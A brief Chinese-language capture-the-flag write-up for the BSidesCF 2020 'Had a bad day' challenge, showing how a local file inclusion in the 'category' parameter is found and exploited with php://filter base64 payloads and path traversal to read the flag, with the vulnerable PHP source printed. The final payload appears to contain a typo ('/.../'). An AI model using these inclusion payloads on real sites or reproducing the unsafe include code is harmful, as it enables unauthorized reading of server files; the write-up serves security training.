[BSidesCF 2020]Had a bad day

打开网站有两个按钮，点击之后链接后都会加上?category=meowers

猜测有文件包含漏洞，尝试?category=php://filter/read=convert.base64-encode/resource=index.php

警告中看到 .php出现了两次，推测源码中存在.php拼接，于是去掉.php

得到PHP源码

 <?php
	$file = $_GET['category'];
	if(isset($file))
		{
			if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
			include ($file . '.php');
			}
			else{
				echo "Sorry, we currently only support woofers and meowers.";
			}
		}
?>

观察源码发现，传入的category参数中需要有woofers、meowers和index才能包含传入以传入名为文件名的文件

因此修改Payload为?category=php://filter/convert.base64-encode/resource=index/.../flag